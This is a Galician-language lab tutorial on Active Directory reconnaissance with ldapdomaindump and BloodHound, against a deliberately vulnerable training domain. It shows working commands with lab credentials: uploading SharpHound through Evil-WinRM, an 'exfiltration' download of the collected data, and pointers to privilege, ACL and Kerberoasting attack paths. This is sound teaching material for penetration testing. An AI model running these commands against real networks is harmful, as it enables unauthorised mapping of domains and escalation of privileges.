Ir ao contido

Técnica de Análise: Enumeración Avanzada de AD (LDAP e BloodHound)

Fase: 2. Análise / 4. Post-Explotación
Requisitos: Credenciais válidas de usuario do dominio (ex: brais.t).
Obxectivo: Mapear a estrutura completa do Active Directory (Usuarios, Grupos, ACLs, Sesións) para identificar rutas de ataque complexas.

Importancia desta fase

Aínda que ferramentas como nmap ou enum4linux dan información básica, ferramentas baseadas en LDAP e a teoría de grafos (BloodHound) son as que revelan as "xoias da coroa": relacións de confianza ocultas, permisos abusivos (ACLs) e privilexios especiais.


1. Enumeración Rápida con ldapdomaindump

Esta ferramenta permite extraer toda a información do dominio vía LDAP e exportala a un formato HTML fácil de ler. É moi útil para ter unha "foto fixa" rápida de usuarios, grupos e computadores.

Execución dende Kali:

  1. Crear un directorio para organizar os resultados.

    $ mkdir ldap_dump
    $ cd ldap_dump
    

  2. Executar a ferramenta coas credenciais obtidas (ex: brais.t).

    $ ldapdomaindump -u 'VULN-HE.LAB\brais.t' -p 'iloveyou' 192.168.56.100
    [*] Connecting to host...
    [*] Binding to host
    [+] Bind OK
    [*] Starting domain dump
    [+] Domain dump finished
    

  3. Levantar un servidor web para visualizar os informes HTML xerados.

    $ python3 -m http.server 80 &
    

  4. Acceder a http://localhost no navegador para ver listaxes de usuarios, grupos de administradores, e computadores do dominio.*

Fig. ldapdomaindump

Fig. ldapdomaindump

Fig. ldapdomaindump


2. Enumeración Profunda con BloodHound

tip SharpHound-BloodHound

Revisar o comentado en Sharphound-BloodHound

BloodHound utiliza a teoría de grafos para revelar as relacións ocultas nun entorno Active Directory. Necesita dúas partes: o Ingestor/Colector (para obter os datos) e o Visualizador (para analizalos).

Opción A: SharpHound (Recomendada)

Execútase directamente na máquina vítima (Windows). Adoita obter máis información (como sesións locais) que a versión de Python.

Requisitos: Acceso WinRM con brais.t.

  1. Descargar: Obtén o zip de SharpHound na túa máquina Kali.

    cd ~/Downloads
    wget https://github.com/SpecterOps/SharpHound/releases/download/v2.8.0/SharpHound_v2.8.0_windows_x86.zip
    

  2. Descomprimir: Obtén o binario

    7z x SharpHound_v2.8.0_windows_x86.zip
    

  3. Subir: Carga o executables á máquina vítima mediante Evil-WinRM.

    evil-winrm -i 192.168.56.100 -u brais.t -p iloveyou 
    ...
    *Evil-WinRM* PS C:\Users\brais.t\Documents> upload SharpHound.exe
    ...
    Info: Upload successful!
    

  4. Executar: Lanza o colector para recompilar todos os datos.

    *Evil-WinRM* PS C:\Users\brais.t\Documents> .\SharpHound.exe -c All
    ...
    
    Isto xerará un ficheiro .zip (ex: 20251201123456_BloodHound.zip).

  5. Exfiltración: Descarga o ficheiro ZIP á túa máquina.

    *Evil-WinRM* PS C:\Users\brais.t\Documents> download 20251201123456_BloodHound.zip
    ...
    Info: Download successful!
    

Opción B: BloodHound Python (Alternativa)

Execútase dende a túa máquina Kali, conectando remotamente. Útil se non podes subir binarios á vítima, aínda que pode xerar máis ruído de rede ou obter menos datos de sesións.

$ mkdir json && cd json
$ bloodhound-python -c All -u 'brais.t' -p 'iloveyou' -ns 192.168.56.100 -d VULN-HE.LAB
Isto xerará varios ficheiros .json no teu directorio actual.


3. Análise de Rutas de Ataque

tip SharpHound-BloodHound

Revisar o comentado en Sharphound-BloodHound:
- Sección 4. Instalación e configuración de BloodHound
- Sección 5. Importación de datos en BloodHound (Lembrar esperar, 1-2 minutos, a que se procesen os datos)

Unha vez teñas os datos (ZIP ou JSONs), impórtaos na interface gráfica de BloodHound na túa máquina Kali (bloodhound).

Consultas Clave para este Laboratorio

Usa a barra de busca ou as consultas predefinidas para atopar as vulnerabilidades intencionadas deste laboratorio:

A. Detectar SeBackupPrivilege

  1. Busca o nodo do usuario BRAIS.T.
  2. Mira os seus Privilexios Locais ou relacións de saída.

Aviso: A Cegueira de BloodHound

É moi probable que BloodHound NON mostre a liña SeBackupPrivilege nin CanBackup para o usuario brais.t.

Por que?
Neste laboratorio, o privilexio asignouse editando directamente a política local (SeBackupPrivilege = SID_BRAIS) e non engadindo ao usuario ao grupo "Backup Operators". BloodHound é excelente mapeando grupos de AD, pero ás veces falla ao interpretar asignacións directas de dereitos locais (LSA) se non se fai unha recolección con privilexios administrativos moi específicos.

A Lección:
Non confíes cegamente no grafo se non atopas un camiño. A "verdade absoluta" está na terminal.
1. Consegue acceso co usuario.
2. Executa whoami /priv.
3. Se ves o privilexio aí, tes o poder, digan o que digan as ferramentas de enumeración remota.

O vector de ataque confírmase no documento: ATAQUE_ESPECIFICO_SEBACKUP

B. Detectar SeImpersonatePrivilege

  1. Busca o nodo do usuario MARIA.G.
  2. Revisa as propiedades do nodo ou relacións de privilexios.

Aviso: A Cegueira de BloodHound (Impersonate)

Do mesmo xeito que con Brais, o privilexio SeImpersonatePrivilege de maria.g foi asignado vía política local e non por grupo. BloodHound non mostrará este camiño de ataque por defecto.

De novo, a comprobación manual é obrigatoria:

whoami /priv
Se aparece SeImpersonatePrivilege, o sistema é vulnerable a ataques tipo Potato.

O vector de ataque confírmase no documento: ATAQUE_ESPECIFICO_SEIMPERSONATE

C. Detectar Abuso de ACLs

  1. Busca o nodo do grupo HELPDESK.
  2. Busca o nodo do usuario MARIA.G.
  3. Verás unha liña etiquetada como GenericAll.
    Fig. Abuso ACLs

Tamén se podería detectar dende o nodo de usuario HELPDESK.USER

Fig. Abuso ACLs

D. Detectar Kerberoasting

  1. Usa a consulta predefinida "All Kerberoastable Accounts" en: ExploreCYPHERSaved QueriesActive DirectoryKerberos Interaction
  2. Aparecerá o usuario SVC_SQL.
    Fig. Kerberoasting